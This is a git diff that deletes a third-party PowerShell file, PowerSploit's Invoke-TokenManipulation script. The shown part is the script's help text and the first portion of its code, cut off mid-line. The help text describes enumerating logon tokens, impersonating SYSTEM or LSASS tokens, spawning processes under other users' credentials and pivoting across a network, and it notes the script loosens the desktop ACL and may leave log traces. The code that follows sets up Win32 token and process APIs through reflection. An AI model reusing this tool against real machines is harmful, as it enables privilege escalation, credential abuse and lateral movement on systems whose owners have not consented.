a/scripts/3rdparty/Invoke-TokenManipulation.ps1 b/scripts/3rdparty/Invoke-TokenManipulation.ps1 deleted file mode 100644 index ea30952..0000000 --- a/scripts/3rdparty/Invoke-TokenManipulation.ps1 +++ /dev/null @@ -1,1917 +0,0 @@ -function Invoke-TokenManipulation -{ -<# -.SYNOPSIS - -This script requires Administrator privileges. It can enumerate the Logon Tokens available and use them to create new processes. This allows you to use -anothers users credentials over the network by creating a process with their logon token. This will work even with Windows 8.1 LSASS protections. -This functionality is very similar to the incognito tool (with some differences, and different use goals). - -This script can also make the PowerShell thread impersonate another users Logon Token. Unfortunately this doesn't work well, because PowerShell -creates new threads to do things, and those threads will use the Primary token of the PowerShell process (your original token) and not the token -that one thread is impersonating. Because of this, you cannot use thread impersonation to impersonate a user and then use PowerShell remoting to connect -to another server as that user (it will authenticate using the primary token of the process, which is your original logon token). - -Because of this limitation, the recommended way to use this script is to use CreateProcess to create a new PowerShell process with another users Logon -Token, and then use this process to pivot. This works because the entire process is created using the other users Logon Token, so it will use their -credentials for the authentication. - -IMPORTANT: If you are creating a process, by default this script will modify the ACL of the current users desktop to allow full control to "Everyone". -This is done so that the UI of the process is shown. If you do not need the UI, use the -NoUI flag to prevent the ACL from being modified. This ACL -is not permenant, as in, when the current logs off the ACL is cleared. It is still preferrable to not modify things unless they need to be modified though, -so I created the NoUI flag. ALSO: When creating a process, the script will request SeSecurityPrivilege so it can enumerate and modify the ACL of the desktop. -This could show up in logs depending on the level of monitoring. - - -PERMISSIONS REQUIRED: -SeSecurityPrivilege: Needed if launching a process with a UI that needs to be rendered. Using the -NoUI flag blocks this. -SeAssignPrimaryTokenPrivilege : Needed if launching a process while the script is running in Session 0. - - -Important differences from incognito: -First of all, you should probably read the incognito white paper to understand what incognito does. If you use incognito, you'll notice it differentiates -between "Impersonation" and "Delegation" tokens. This is because incognito can be used in situations where you get remote code execution against a service -which has threads impersonating multiple users. Incognito can enumerate all tokens available to the service process, and impersonate them (which might allow -you to elevate privileges). This script must be run as administrator, and because you are already an administrator, the primary use of this script is for pivoting -without dumping credentials. - -In this situation, Impersonation vs Delegation does not matter because an administrator can turn any token in to a primary token (delegation rights). What does -matter is the logon type used to create the logon token. If a user connects using Network Logon (aka type 3 logon), the computer will not have any credentials for -the user. Since the computer has no credentials associated with the token, it will not be possible to authenticate off-box with the token. All other logon types -should have credentials associated with them (such as Interactive logon, Service logon, Remote interactive logon, etc). Therefore, this script looks -for tokens which were created with desirable logon tokens (and only displays them by default). - -In a nutshell, instead of worrying about "delegation vs impersonation" tokens, you should worry about NetworkLogon (bad) vs Non-NetworkLogon (good). - - -PowerSploit Function: Invoke-TokenManipulation -Author: Joe Bialek, Twitter: @JosephBialek -License: BSD 3-Clause -Required Dependencies: None -Optional Dependencies: None - -.DESCRIPTION - -Lists available logon tokens. Creates processes with other users logon tokens, and impersonates logon tokens in the current thread. - -.PARAMETER Enumerate - -Switch. Specifics to enumerate logon tokens available. By default this will only list unqiue usable tokens (not network-logon tokens). - -.PARAMETER RevToSelf - -Switch. Stops impersonating an alternate users Token. - -.PARAMETER ShowAll - -Switch. Enumerate all Logon Tokens (including non-unique tokens and NetworkLogon tokens). - -.PARAMETER ImpersonateUser - -Switch. Will impersonate an alternate users logon token in the PowerShell thread. Can specify the token to use by Username, ProcessId, or ThreadId. - This mode is not recommended because PowerShell is heavily threaded and many actions won't be done in the current thread. Use CreateProcess instead. - -.PARAMETER CreateProcess - -Specify a process to create with an alternate users logon token. Can specify the token to use by Username, ProcessId, or ThreadId. - -.PARAMETER WhoAmI - -Switch. Displays the credentials the PowerShell thread is running under. - -.PARAMETER Username - -Specify the Token to use by username. This will choose a non-NetworkLogon token belonging to the user. - -.PARAMETER ProcessId - -Specify the Token to use by ProcessId. This will use the primary token of the process specified. - -.PARAMETER Process - -Specify the token to use by process object (will use the processId under the covers). This will impersonate the primary token of the process. - -.PARAMETER ThreadId - -Specify the Token to use by ThreadId. This will use the token of the thread specified. - -.PARAMETER ProcessArgs - -Specify the arguments to start the specified process with when using the -CreateProcess mode. - -.PARAMETER NoUI - -If you are creating a process which doesn't need a UI to be rendered, use this flag. This will prevent the script from modifying the Desktop ACL's of the -current user. If this flag isn't set and -CreateProcess is used, this script will modify the ACL's of the current users desktop to allow full control -to "Everyone". - -.PARAMETER PassThru - -If you are creating a process, this will pass the System.Diagnostics.Process object to the pipeline. - - -.EXAMPLE - -Invoke-TokenManipulation -Enumerate - -Lists all unique usable tokens on the computer. - -.EXAMPLE - -Invoke-TokenManipulation -CreateProcess "cmd.exe" -Username "nt authority\system" - -Spawns cmd.exe as SYSTEM. - -.EXAMPLE - -Invoke-TokenManipulation -ImpersonateUser -Username "nt authority\system" - -Makes the current PowerShell thread impersonate SYSTEM. - -.EXAMPLE - -Invoke-TokenManipulation -CreateProcess "cmd.exe" -ProcessId 500 - -Spawns cmd.exe using the primary token belonging to process ID 500. - -.EXAMPLE - -Invoke-TokenManipulation -ShowAll - -Lists all tokens available on the computer, including non-unique tokens and tokens created using NetworkLogon. - -.EXAMPLE - -Invoke-TokenManipulation -CreateProcess "cmd.exe" -ThreadId 500 - -Spawns cmd.exe using the token belonging to thread ID 500. - -.EXAMPLE - -Get-Process wininit | Invoke-TokenManipulation -CreateProcess "cmd.exe" - -Spawns cmd.exe using the primary token of LSASS.exe. This pipes the output of Get-Process to the "-Process" parameter of the script. - -.EXAMPLE - -(Get-Process wininit | Invoke-TokenManipulation -CreateProcess "cmd.exe" -PassThru).WaitForExit() - -Spawns cmd.exe using the primary token of LSASS.exe. Then holds the spawning PowerShell session until that process has exited. - -.EXAMPLE - -Get-Process wininit | Invoke-TokenManipulation -ImpersonateUser - -Makes the current thread impersonate the lsass security token. - -.NOTES -This script was inspired by incognito. - -Several of the functions used in this script were written by Matt Graeber(Twitter: @mattifestation, Blog: http://www.exploit-monday.com/). -BIG THANKS to Matt Graeber for helping debug. - -.LINK - -Blog: http://clymb3r.wordpress.com/ -Github repo: https://github.com/clymb3r/PowerShell -Blog on this script: http://clymb3r.wordpress.com/2013/11/03/powershell-and-token-impersonation/ - -#> - - [CmdletBinding(DefaultParameterSetName="Enumerate")] - Param( - [Parameter(ParameterSetName = "Enumerate")] - [Switch] - $Enumerate, - - [Parameter(ParameterSetName = "RevToSelf")] - [Switch] - $RevToSelf, - - [Parameter(ParameterSetName = "ShowAll")] - [Switch] - $ShowAll, - - [Parameter(ParameterSetName = "ImpersonateUser")] - [Switch] - $ImpersonateUser, - - [Parameter(ParameterSetName = "CreateProcess")] - [String] - $CreateProcess, - - [Parameter(ParameterSetName = "WhoAmI")] - [Switch] - $WhoAmI, - - [Parameter(ParameterSetName = "ImpersonateUser")] - [Parameter(ParameterSetName = "CreateProcess")] - [String] - $Username, - - [Parameter(ParameterSetName = "ImpersonateUser")] - [Parameter(ParameterSetName = "CreateProcess")] - [Int] - $ProcessId, - - [Parameter(ParameterSetName = "ImpersonateUser", ValueFromPipeline=$true)] - [Parameter(ParameterSetName = "CreateProcess", ValueFromPipeline=$true)] - [System.Diagnostics.Process] - $Process, - - [Parameter(ParameterSetName = "ImpersonateUser")] - [Parameter(ParameterSetName = "CreateProcess")] - $ThreadId, - - [Parameter(ParameterSetName = "CreateProcess")] - [String] - $ProcessArgs, - - [Parameter(ParameterSetName = "CreateProcess")] - [Switch] - $NoUI, - - [Parameter(ParameterSetName = "CreateProcess")] - [Switch] - $PassThru - ) - - Set-StrictMode -Version 2 - - #Function written by Matt Graeber, Twitter: @mattifestation, Blog: http://www.exploit-monday.com/ - Function Get-DelegateType - { - Param - ( - [OutputType([Type])] - - [Parameter( Position = 0)] - [Type[]] - $Parameters = (New-Object Type[](0)), - - [Parameter( Position = 1 )] - [Type] - $ReturnType = [Void] - ) - - $Domain = [AppDomain]::CurrentDomain - $DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate') - $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) - $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false) - $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) - $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters) - $ConstructorBuilder.SetImplementationFlags('Runtime, Managed') - $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters) - $MethodBuilder.SetImplementationFlags('Runtime, Managed') - - Write-Output $TypeBuilder.CreateType() - } - - - #Function written by Matt Graeber, Twitter: @mattifestation, Blog: http://www.exploit-monday.com/ - Function Get-ProcAddress - { - Param - ( - [OutputType([IntPtr])] - - [Parameter( Position = 0, Mandatory = $True )] - [String] - $Module, - - [Parameter( Position = 1, Mandatory = $True )] - [String] - $Procedure - ) - - # Get a reference to System.dll in the GAC - $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() | - Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') } - $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods') - # Get a reference to the GetModuleHandle and GetProcAddress methods - $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle') - $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress') - # Get a handle to the module specified - $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module)) - $tmpPtr = New-Object IntPtr - $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle) - - # Return the address of the function - Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure)) - } - - ############################### - #Win32Constants - ############################### - $Constants = @{ - ACCESS_SYSTEM_SECURITY = 0x01000000 - READ_CONTROL = 0x00020000 - SYNCHRONIZE = 0x00100000 - STANDARD_RIGHTS_ALL = 0x001F0000 - TOKEN_QUERY = 8 - TOKEN_ADJUST_PRIVILEGES = 0x20 - ERROR_NO_TOKEN = 0x3f0 - SECURITY_DELEGATION = 3 - DACL_SECURITY_INFORMATION = 0x4 - ACCESS_ALLOWED_ACE_TYPE = 0x0 - STANDARD_RIGHTS_REQUIRED = 0x000F0000 - DESKTOP_GENERIC_ALL = 0x000F01FF - WRITE_DAC = 0x00040000 - OBJECT_INHERIT_ACE = 0x1 - GRANT_ACCESS = 0x1 - TRUSTEE_IS_NAME = 0x1 - TRUSTEE_IS_SID = 0x0 - TRUSTEE_IS_USER = 0x1 - TRUSTEE_IS_WELL_KNOWN_GROUP = 0x5 - TRUSTEE_IS_GROUP = 0x2 - PROCESS_QUERY_INFORMATION = 0x400 - TOKEN_ASSIGN_PRIMARY = 0x1 - TOKEN_DUPLICATE = 0x2 - TOKEN_IMPERSONATE = 0x4 - TOKEN_QUERY_SOURCE = 0x10 - STANDARD_RIGHTS_READ = 0x20000 - TokenStatistics = 10 - TOKEN_ALL_ACCESS = 0xf01ff - MAXIMUM_ALLOWED = 0x02000000 - THREAD_ALL_ACCESS = 0x1f03ff - ERROR_INVALID_PARAMETER = 0x57 - LOGON_NETCREDENTIALS_ONLY = 0x2 - SE_PRIVILEGE_ENABLED = 0x2 - SE_PRIVILEGE_ENABLED_BY_DEFAULT = 0x1 - SE_PRIVILEGE_REMOVED = 0x4 - } - - $Win32Constants = New-Object PSObject -Property $Constants - ############################### - - - ############################### - #Win32Structures - ############################### - #Define all the structures/enums that will be used - # This article shows you how to do this with reflection: http://www.exploit-monday.com/2012/07/structs-and-enums-using-reflection.html - $Domain = [AppDomain]::CurrentDomain - $DynamicAssembly = New-Object System.Reflection.AssemblyName('DynamicAssembly') - $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynamicAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) - $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('DynamicModule', $false) - $ConstructorInfo = [System.Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0] - - #ENUMs - $TypeBuilder = $ModuleBuilder.DefineEnum('TOKEN_INFORMATION_CLASS', 'Public', [UInt32]) - $TypeBuilder.DefineLiteral('TokenUser', [UInt32] 1) | Out-Null - $TypeBuilder.DefineLiteral('TokenGroups', [UInt32] 2) | Out-Null - $TypeBuilder.DefineLiteral('TokenPrivileges', [UInt32] 3) | Out-Null - $TypeBuilder.DefineLiteral('TokenOwner', [UInt32] 4) | Out-Null - $TypeBuilder.DefineLiteral('TokenPrimaryGroup', [UInt32] 5) | Out-Null - $TypeBuilder.DefineLiteral('TokenDefaultDacl', [UInt32] 6) | Out-Null - $TypeBuilder.DefineLiteral('TokenSource', [UInt32] 7) | Out-Null - $TypeBuilder.DefineLiteral('TokenType', [UInt32] 8) | Out-Null - $TypeBuilder.DefineLiteral('TokenImpersonationLevel', [UInt32] 9) | Out-Null - $TypeBuilder.DefineLiteral('TokenStatistics', [UInt32] 10) | Out-Null - $TypeBuilder.DefineLiteral('TokenRestrictedSids', [UInt32] 11) | Out-Null - $TypeBuilder.DefineLiteral('TokenSessionId', [UInt32] 12) | Out-Null - $TypeBuilder.DefineLiteral('TokenGroupsAndPrivileges', [UInt32] 13) | Out-Null - $TypeBuilder.DefineLiteral('TokenSessionReference', [UInt32] 14) | Out-Null - $TypeBuilder.DefineLiteral('TokenSandBoxInert', [UInt32] 15) | Out-Null - $TypeBuilder.DefineLiteral('TokenAuditPolicy', [UInt32] 16) | Out-Null - $TypeBuilder.DefineLiteral('TokenOrigin', [UInt32] 17) | Out-Null - $TypeBuilder.DefineLiteral('TokenElevationType', [UInt32] 18) | Out-Null - $TypeBuilder.DefineLiteral('TokenLinkedToken', [UInt32] 19) | Out-Null - $TypeBuilder.DefineLiteral('TokenElevation', [UInt32] 20) | Out-Null - $TypeBuilder.DefineLiteral('TokenHasRestrictions', [UInt32] 21) | Out-Null - $TypeBuilder.DefineLiteral('TokenAccessInformation', [UInt32] 22) | Out-Null - $TypeBuilder.DefineLiteral('TokenVirtualizationAllowed', [UInt32] 23) | Out-Null - $TypeBuilder.DefineLiteral('TokenVirtualizationEnabled', [UInt32] 24) | Out-Null - $TypeBuilder.DefineLiteral('TokenIntegrityLevel', [UInt32] 25) | Out-Null - $TypeBuilder.DefineLiteral('TokenUIAccess', [UInt32] 26) | Out-Null - $TypeBuilder.DefineLiteral('TokenMandatoryPolicy', [UInt32] 27) | Out-Null - $TypeBuilder.DefineLiteral('TokenLogonSid', [UInt32] 28) | Out-Null - $TypeBuilder.DefineLiteral('TokenIsAppContainer', [UInt32] 29) | Out-Null - $TypeBuilder.DefineLiteral('TokenCapabilities', [UInt32] 30) | Out-Null - $TypeBuilder.DefineLiteral('TokenAppContainerSid', [UInt32] 31) | Out-Null - $TypeBuilder.DefineLiteral('TokenAppContainerNumber', [UInt32] 32) | Out-Null - $TypeBuilder.DefineLiteral('TokenUserClaimAttributes', [UInt32] 33) | Out-Null - $TypeBuilder.DefineLiteral('TokenDeviceClaimAttributes', [UInt32] 34) | Out-Null - $TypeBuilder.DefineLiteral('TokenRestrictedUserClaimAttributes', [UInt32] 35) | Out-Null - $TypeBuilder.DefineLiteral('TokenRestrictedDeviceClaimAttributes', [UInt32] 36) | Out-Null - $TypeBuilder.DefineLiteral('TokenDeviceGroups', [UInt32] 37) | Out-Null - $TypeBuilder.DefineLiteral('TokenRestrictedDeviceGroups', [UInt32] 38) | Out-Null - $TypeBuilder.DefineLiteral('TokenSecurityAttributes', [UInt32] 39) | Out-Null - $TypeBuilder.DefineLiteral('TokenIsRestricted', [UInt32] 40) | Out-Null - $TypeBuilder.DefineLiteral('MaxTokenInfoClass', [UInt32] 41) | Out-Null - $TOKEN_INFORMATION_CLASS = $TypeBuilder.CreateType() - - #STRUCTs - $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' - $TypeBuilder = $ModuleBuilder.DefineType('LARGE_INTEGER', $Attributes, [System.ValueType], 8) - $TypeBuilder.DefineField('LowPart', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('HighPart', [UInt32], 'Public') | Out-Null - $LARGE_INTEGER = $TypeBuilder.CreateType() - - #Struct LUID - $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' - $TypeBuilder = $ModuleBuilder.DefineType('LUID', $Attributes, [System.ValueType], 8) - $TypeBuilder.DefineField('LowPart', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('HighPart', [Int32], 'Public') | Out-Null - $LUID = $TypeBuilder.CreateType() - - #Struct TOKEN_STATISTICS - $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' - $TypeBuilder = $ModuleBuilder.DefineType('TOKEN_STATISTICS', $Attributes, [System.ValueType]) - $TypeBuilder.DefineField('TokenId', $LUID, 'Public') | Out-Null - $TypeBuilder.DefineField('AuthenticationId', $LUID, 'Public') | Out-Null - $TypeBuilder.DefineField('ExpirationTime', $LARGE_INTEGER, 'Public') | Out-Null - $TypeBuilder.DefineField('TokenType', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('ImpersonationLevel', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('DynamicCharged', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('DynamicAvailable', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('GroupCount', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('PrivilegeCount', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('ModifiedId', $LUID, 'Public') | Out-Null - $TOKEN_STATISTICS = $TypeBuilder.CreateType() - - #Struct LSA_UNICODE_STRING - $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' - $TypeBuilder = $ModuleBuilder.DefineType('LSA_UNICODE_STRING', $Attributes, [System.ValueType]) - $TypeBuilder.DefineField('Length', [UInt16], 'Public') | Out-Null - $TypeBuilder.DefineField('MaximumLength', [UInt16], 'Public') | Out-Null - $TypeBuilder.DefineField('Buffer', [IntPtr], 'Public') | Out-Null - $LSA_UNICODE_STRING = $TypeBuilder.CreateType() - - #Struct LSA_LAST_INTER_LOGON_INFO - $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' - $TypeBuilder = $ModuleBuilder.DefineType('LSA_LAST_INTER_LOGON_INFO', $Attributes, [System.ValueType]) - $TypeBuilder.DefineField('LastSuccessfulLogon', $LARGE_INTEGER, 'Public') | Out-Null - $TypeBuilder.DefineField('LastFailedLogon', $LARGE_INTEGER, 'Public') | Out-Null - $TypeBuilder.DefineField('FailedAttemptCountSinceLastSuccessfulLogon', [UInt32], 'Public') | Out-Null - $LSA_LAST_INTER_LOGON_INFO = $TypeBuilder.CreateType() - - #Struct SECURITY_LOGON_SESSION_DATA - $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' - $TypeBuilder = $ModuleBuilder.DefineType('SECURITY_LOGON_SESSION_DATA', $Attributes, [System.ValueType]) - $TypeBuilder.DefineField('Size', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('LoginID', $LUID, 'Public') | Out-Null - $TypeBuilder.DefineField('Username', $LSA_UNICODE_STRING, 'Public') | Out-Null - $TypeBuilder.DefineField('LoginDomain', $LSA_UNICODE_STRING, 'Public') | Out-Null - $TypeBuilder.DefineField('AuthenticationPackage', $LSA_UNICODE_STRING, 'Public') | Out-Null - $TypeBuilder.DefineField('LogonType', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('Session', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('Sid', [IntPtr], 'Public') | Out-Null - $TypeBuilder.DefineField('LoginTime', $LARGE_INTEGER, 'Public') | Out-Null - $TypeBuilder.DefineField('LoginServer', $LSA_UNICODE_STRING, 'Public') | Out-Null - $TypeBuilder.DefineField('DnsDomainName', $LSA_UNICODE_STRING, 'Public') | Out-Null - $TypeBuilder.DefineField('Upn', $LSA_UNICODE_STRING, 'Public') | Out-Null - $TypeBuilder.DefineField('UserFlags', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('LastLogonInfo', $LSA_LAST_INTER_LOGON_INFO, 'Public') | Out-Null - $TypeBuilder.DefineField('LogonScript', $LSA_UNICODE_STRING, 'Public') | Out-Null - $TypeBuilder.DefineField('ProfilePath', $LSA_UNICODE_STRING, 'Public') | Out-Null - $TypeBuilder.DefineField('HomeDirectory', $LSA_UNICODE_STRING, 'Public') | Out-Null - $TypeBuilder.DefineField('HomeDirectoryDrive', $LSA_UNICODE_STRING, 'Public') | Out-Null - $TypeBuilder.DefineField('LogoffTime', $LARGE_INTEGER, 'Public') | Out-Null - $TypeBuilder.DefineField('KickOffTime', $LARGE_INTEGER, 'Public') | Out-Null - $TypeBuilder.DefineField('PasswordLastSet', $LARGE_INTEGER, 'Public') | Out-Null - $TypeBuilder.DefineField('PasswordCanChange', $LARGE_INTEGER, 'Public') | Out-Null - $TypeBuilder.DefineField('PasswordMustChange', $LARGE_INTEGER, 'Public') | Out-Null - $SECURITY_LOGON_SESSION_DATA = $TypeBuilder.CreateType() - - #Struct STARTUPINFO - $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' - $TypeBuilder = $ModuleBuilder.DefineType('STARTUPINFO', $Attributes, [System.ValueType]) - $TypeBuilder.DefineField('cb', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('lpReserved', [IntPtr], 'Public') | Out-Null - $TypeBuilder.DefineField('lpDesktop', [IntPtr], 'Public') | Out-Null - $TypeBuilder.DefineField('lpTitle', [IntPtr], 'Public') | Out-Null - $TypeBuilder.DefineField('dwX', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('dwY', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('dwXSize', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('dwYSize', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('dwXCountChars', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('dwYCountChars', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('dwFillAttribute', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('dwFlags', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('wShowWindow', [UInt16], 'Public') | Out-Null - $TypeBuilder.DefineField('cbReserved2', [UInt16], 'Public') | Out-Null - $TypeBuilder.DefineField('lpReserved2', [IntPtr], 'Public') | Out-Null - $TypeBuilder.DefineField('hStdInput', [IntPtr], 'Public') | Out-Null - $TypeBuilder.DefineField('hStdOutput', [IntPtr], 'Public') | Out-Null - $TypeBuilder.DefineField('hStdError', [IntPtr], 'Public') | Out-Null - $STARTUPINFO = $TypeBuilder.CreateType() - - #Struct PROCESS_INFORMATION - $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' - $TypeBuilder = $ModuleBuilder.DefineType('PROCESS_INFORMATION', $Attributes, [System.ValueType]) - $TypeBuilder.DefineField('hProcess', [IntPtr], 'Public') | Out-Null - $TypeBuilder.DefineField('hThread', [IntPtr], 'Public') | Out-Null - $TypeBuilder.DefineField('dwProcessId', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('dwThreadId', [UInt32], 'Public') | Out-Null - $PROCESS_INFORMATION = $TypeBuilder.CreateType() - - #Struct TOKEN_ELEVATION - $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' - $TypeBuilder = $ModuleBuilder.DefineType('TOKEN_ELEVATION', $Attributes, [System.ValueType]) - $TypeBuilder.DefineField('TokenIsElevated', [UInt32], 'Public') | Out-Null - $TOKEN_ELEVATION = $TypeBuilder.CreateType() - - #Struct LUID_AND_ATTRIBUTES - $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' - $TypeBuilder = $ModuleBuilder.DefineType('LUID_AND_ATTRIBUTES', $Attributes, [System.ValueType], 12) - $TypeBuilder.DefineField('Luid', $LUID, 'Public') | Out-Null - $TypeBuilder.DefineField('Attributes', [UInt32], 'Public') | Out-Null - $LUID_AND_ATTRIBUTES = $TypeBuilder.CreateType() - - #Struct TOKEN_PRIVILEGES - $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' - $TypeBuilder = $ModuleBuilder.DefineType('TOKEN_PRIVILEGES', $Attributes, [System.ValueType], 16) - $TypeBuilder.DefineField('PrivilegeCount', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('Privileges', $LUID_AND_ATTRIBUTES, 'Public') | Out-Null - $TOKEN_PRIVILEGES = $TypeBuilder.CreateType() - - #Struct ACE_HEADER - $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' - $TypeBuilder = $ModuleBuilder.DefineType('ACE_HEADER', $Attributes, [System.ValueType]) - $TypeBuilder.DefineField('AceType', [Byte], 'Public') | Out-Null - $TypeBuilder.DefineField('AceFlags', [Byte], 'Public') | Out-Null - $TypeBuilder.DefineField('AceSize', [UInt16], 'Public') | Out-Null - $ACE_HEADER = $TypeBuilder.CreateType() - - #Struct ACL - $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' - $TypeBuilder = $ModuleBuilder.DefineType('ACL', $Attributes, [System.ValueType]) - $TypeBuilder.DefineField('AclRevision', [Byte], 'Public') | Out-Null - $TypeBuilder.DefineField('Sbz1', [Byte], 'Public') | Out-Null - $TypeBuilder.DefineField('AclSize', [UInt16], 'Public') | Out-Null - $TypeBuilder.DefineField('AceCount', [UInt16], 'Public') | Out-Null - $TypeBuilder.DefineField('Sbz2', [UInt16], 'Public') | Out-Null - $ACL = $TypeBuilder.CreateType() - - #Struct ACE_HEADER - $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' - $TypeBuilder = $ModuleBuilder.DefineType('ACCESS_ALLOWED_ACE', $Attributes, [System.ValueType]) - $TypeBuilder.DefineField('Header', $ACE_HEADER, 'Public') | Out-Null - $TypeBuilder.DefineField('Mask', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('SidStart', [UInt32], 'Public') | Out-Null - $ACCESS_ALLOWED_ACE = $TypeBuilder.CreateType() - - #Struct TRUSTEE - $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' - $TypeBuilder = $ModuleBuilder.DefineType('TRUSTEE', $Attributes, [System.ValueType]) - $TypeBuilder.DefineField('pMultipleTrustee', [IntPtr], 'Public') | Out-Null - $TypeBuilder.DefineField('MultipleTrusteeOperation', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('TrusteeForm', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('TrusteeType', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('ptstrName', [IntPtr], 'Public') | Out-Null - $TRUSTEE = $TypeBuilder.CreateType() - - #Struct EXPLICIT_ACCESS - $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' - $TypeBuilder = $ModuleBuilder.DefineType('EXPLICIT_ACCESS', $Attributes, [System.ValueType]) - $TypeBuilder.DefineField('grfAccessPermissions', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('grfAccessMode', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('grfInheritance', [UInt32], 'Public') | Out-Null - $TypeBuilder.DefineField('Trustee', $TRUSTEE, 'Public') | Out-Null - $EXPLICIT_ACCESS = $TypeBuilder.CreateType() - ############################### - - - ############################### - #Win32Functions - ############################### - $OpenProcessAddr = Get-ProcAddress kernel32.dll OpenProcess - $OpenProcessDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr]) - $OpenProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessAddr, $OpenProcessDelegate) - - $OpenProcessTokenAddr = Get-ProcAddress advapi32.dll OpenProcessToken - $OpenProcessTokenDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr].MakeByRefType()) ([Bool]) - $OpenProcessToken = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessTokenAddr, $OpenProcessTokenDelegate) - - $GetTokenInformationAddr = Get-ProcAddress advapi32.dll GetTokenInformation - $GetTokenInformationDelegate = Get-DelegateType @([IntPtr], $TOKEN_INFORMATION_CLASS, [IntPtr], [UInt32], [UInt32].MakeByRefType()) ([Bool]) - $GetTokenInformation = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetTokenInformationAddr, $GetTokenInformationDelegate) - - $SetThreadTokenAddr = Get-ProcAddress advapi32.dll SetThreadToken - $SetThreadTokenDelegate = Get-DelegateType @([IntPtr], [IntPtr]) ([Bool]) - $SetThreadToken = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($SetThreadTokenAddr, $SetThreadTokenDelegate) - - $ImpersonateLoggedOnUserAddr = Get-ProcAddress advapi32.dll ImpersonateLoggedOnUser - $ImpersonateLoggedOnUserDelegate = Get-DelegateType @([IntPtr]) ([Bool]) - $ImpersonateLoggedOnUser = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ImpersonateLoggedOnUserAddr, $ImpersonateLoggedOnUserDelegate) - - $RevertToSelfAddr = 